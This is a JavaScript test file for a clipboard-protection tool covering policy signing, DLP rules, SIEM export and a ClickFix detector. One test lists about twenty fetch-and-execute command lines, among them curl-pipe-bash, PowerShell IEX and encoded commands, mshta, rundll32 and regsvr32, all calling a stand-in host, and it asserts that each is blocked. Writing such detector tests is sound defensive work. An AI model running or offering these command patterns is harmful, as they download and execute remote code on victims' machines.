Files
safetynet/tests/clipboard.test.mjs
T
2026-10-13 10:34:48 +02:00

49 lines
5.5 KiB
JavaScript

import test from 'node:test';
import assert from 'node:assert/strict';
import { defaultPolicy,PolicySchema,signPolicy,verifyPolicy } from '../packages/core/policy.mjs';
import { detectClickFix,inspectClipboard } from '../packages/core/clipboard.mjs';
import { generateKeyPairSync } from 'node:crypto';
import { toECS,toCEF } from '../packages/core/siem.mjs';
test('clipboard policy is signed, defaults protected, and unsafe fields are rejected',()=>{
const p=defaultPolicy();assert.deepEqual(p.security.clipboard,{enabled:true,allowCopy:true,allowCut:true,allowPaste:true,blockSuspiciousCommands:true,failClosed:true,maxTextBytes:1048576});
const keys=generateKeyPairSync('ed25519'),privateKey=keys.privateKey.export({type:'pkcs8',format:'pem'}),publicKey=keys.publicKey.export({type:'spki',format:'pem'});p.security.clipboard.allowCopy=false;assert.equal(verifyPolicy(signPolicy(p,privateKey),publicKey).security.clipboard.allowCopy,false);
for(const field of [{failClosed:false},{maxTextBytes:1048577},{maxTextBytes:0},{allowPaste:'yes'},{captureText:true}])assert.equal(PolicySchema.safeParse({...p,security:{...p.security,clipboard:{...p.security.clipboard,...field}}}).success,false);
});
test('ClickFix blocks high-risk Windows and Unix execution chains including simple obfuscation',()=>{
const commands=[
'powershell.exe -NoProfile -EncodedCommand SQBFAFgAIAAoAGkAdwByACAAaAB0AHQAcAApAA==',
'powershell -ec VABFAFMAVAA=',
'pwsh -en VABFAFMAVAA=',
'powershell -enc cQA=',
'po^wer`she\u200bll -enc SQBFAFgAIAAoAGkAdwByACAAaAB0AHQAcAApAA==',
'iwr https://payload.example/script.ps1 | iex',
'powershell -c "IEX ((New-Object Net.WebClient).DownloadString(\'https://payload.example/a\'))"',
'mshta.exe https://payload.example/check.hta',
'rundll32 javascript:"\\..\\mshtml,RunHTMLApplication";GetObject("script:https://payload.example/a")',
'regsvr32 /s /u /i:https://payload.example/scrobj.sct scrobj.dll',
'curl -fsSL https://payload.example/install.sh | bash',
'wget -qO- https://payload.example/a | sudo sh',
'bash -c "$(curl https://payload.example/a)"',
'curl https://payload.example/a -o setup.exe && setup.exe',
'curl https://payload.example/a -o setup.exe && .\\setup.exe',
'wget https://payload.example/a -O install.sh; ./install.sh',
'iwr https://payload.example/a -OutFile temp.exe; Start-Process temp.exe',
'python -c "import urllib.request;exec(urllib.request.urlopen(\'https://payload.example/a\').read())"',
encodeURIComponent('iwr https://payload.example/a | iex')
];
for(const command of commands)assert.equal(detectClickFix(command).decision,'block',command);
});
test('ordinary programming, standalone downloads and administrative commands remain allowed',()=>{
for(const text of ['Hello world','Get-Process | Sort-Object CPU','powershell -NoProfile -Command Get-Date','curl https://example.com/data.json -o data.json','wget https://example.com/readme.txt','const result = await fetch("https://example.com/api"); console.log(result);','python -c "print(123)"','git clone https://github.com/example/project.git','npm install package','sha256sum package.exe','A description of curl and bash without a remote execution pipeline'])assert.equal(detectClickFix(text).decision,'allow',text);
});
test('clipboard inspection enforces permissions, mandatory DLP, expiry, coverage and detector override',()=>{
const p=defaultPolicy(),safe='Normal public content';for(const op of ['copy','cut','paste'])assert.equal(inspectClipboard(safe,p,op).decision,'allow');
for(const [op,key] of [['copy','allowCopy'],['cut','allowCut'],['paste','allowPaste']]){p.security.clipboard[key]=false;assert.equal(inspectClipboard(safe,p,op).ruleId,`clipboard-${op}-disabled`);p.security.clipboard[key]=true;}
assert.equal(inspectClipboard('iwr https://payload.example/a | iex',p,'copy').decision,'block');p.security.clipboard.blockSuspiciousCommands=false;assert.equal(inspectClipboard('iwr https://payload.example/a | iex',p,'copy').decision,'allow');
p.dlp.rules=[{id:'corporate-secret',label:'Secret',kind:'literal',value:'Secret Project',action:'block'}];p.security.clipboard.enabled=false;p.security.clipboard.allowCopy=false;assert.equal(inspectClipboard('Secret Project',p,'copy').ruleId,'corporate-secret');assert.equal(inspectClipboard('-----BEGIN PRIVATE KEY-----',p,'copy').ruleId,'private-key');assert.equal(inspectClipboard(safe,p,'copy').decision,'allow');
assert.equal(inspectClipboard(Buffer.from([0xff]),p,'paste').ruleId,'clipboard-uninspectable');assert.equal(inspectClipboard('a\0b',p,'copy').ruleId,'clipboard-uninspectable');assert.equal(inspectClipboard({text:safe},p,'copy').decision,'block');assert.equal(inspectClipboard(safe,p,'read-file').decision,'block');p.security.clipboard.maxTextBytes=1024;assert.equal(inspectClipboard('x'.repeat(1025),p,'paste').ruleId,'clipboard-size-limit');p.expiresAt=new Date(0).toISOString();assert.equal(inspectClipboard(safe,p,'copy').ruleId,'clipboard-policy-expired');
});
test('clipboard SIEM events classify denied and access actions without exporting text',()=>{
const event={id:1,time:new Date().toISOString(),device_id:'device',kind:'clipboard.block',metadata:{ruleId:'clickfix-encoded-powershell',policyVersion:1,text:'private clipboard sentinel'}};const ecs=toECS(event,'test');assert.deepEqual(ecs.event.category,['process']);assert.deepEqual(ecs.event.type,['denied']);assert.equal(JSON.stringify(ecs).includes('private clipboard'),false);assert.equal(toCEF(event).includes('private clipboard'),false);event.kind='clipboard.paste';assert.deepEqual(toECS(event).event.type,['access']);
});